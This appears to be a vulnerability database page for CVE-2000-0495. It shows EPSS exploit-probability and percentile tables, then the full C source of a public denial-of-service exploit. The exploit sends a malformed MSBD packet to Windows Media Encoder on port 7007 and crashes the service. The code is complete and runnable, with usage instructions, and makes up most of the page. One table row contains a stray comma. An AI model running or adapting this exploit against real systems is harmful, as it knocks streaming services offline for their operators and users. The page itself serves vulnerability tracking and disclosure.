CVE-2000-0495 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	21%	–	–
2022-04-03	–	–	21%	–	–
2023-02-26	–	–	21%	–	–
2023-03-12	–	–	–	82.48%	–
2023-03-26	–	–	–	24.1%	–
2024-03-31	–	–	–	24.1%	–
2024-06-02	–	–	–	24.1%	–
2025-01-19	–	–	–	24.1%	–
2025-03-18	–	–	–	–	18.34%
2025-03-30	–	–	–	–	17.34%
2025-03-30	–	–	–	–	17.34,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	94%
2022-04-03	96%
2023-02-26	97%
2023-03-12	98%
2023-03-26	96%
2024-03-31	97%
2024-06-02	97%
2025-01-19	97%
2025-03-18	95%
2025-03-30	95%
2025-03-30	95%

// source: https://www.securityfocus.com/bid/1282/info Windows Media Encoder is part of Windows Media Services. It's purpose is to convert content into a suitable format for video or audio streaming through the Media Services. If a specially malformed request is sent to the Windows Media Encoder it could cause the service to crash. The service would need to be restarted in order to regain normal functionality. /* * * Media Streaming Broadcast Distribution (MSBD) * Denial of Service Attack * * (C) 2000 Kit Knox <kit@rootshell.com> - Public Release: 05/31/00 * * Causes the Windows Media Encoder to crash with a "Runtime Error!" * * "NSREX caused an invalid page fault in module MFC42.DLL at 0177:5f4012a1". * * Tested on version 4.1.0.3920 file "NsRex.exe" 998KB 1/11/00. * * Official Microsoft patch is available : * * http://www.microsoft.com/technet/security/bulletin/ms00-038.asp * * Thanks to Microsoft and the WMT group for their prompt attention to this * matter. * */ #include <stdio.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <arpa/inet.h> #include <string.h> #include <unistd.h> char bogus_msbd_packet1[] = { 0x4d, 0x53, 0x42, 0x20, 0x06, 0x01, 0x07, 0x00, 0x24, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x4e, 0x00, 0x65, 0x00, 0x74, 0x00, 0x00, 0x50, 0x53, 0x00, 0x68, 0x00, 0x6f, 0x00, 0x77, 0x00, 0x00, 0x00 }; int sock; int main(int argc, char *argv[]) { struct hostent *he; struct sockaddr_in sa; char buf[1024]; if (argc != 2) { fprintf(stderr, "usage: %s <host/ip>\n", argv[0]); return(-1); } sock = socket ( AF_INET, SOCK_STREAM, 0); sa.sin_family = AF_INET; sa.sin_port = htons(7007); he = gethostbyname (argv[1]); if (!he) { if ((sa.sin_addr.s_addr = inet_addr(argv[1])) == INADDR_NONE) return(-1); } else { bcopy(he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length); } if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) { fprintf(stderr, "Fatal Error: Can't connect to Windows Media Encoder.\n"); return(-1); } write(sock, bogus_msbd_packet1, sizeof(bogus_msbd_packet1)); for (;;) { read(sock, buf, sizeof(buf)); } }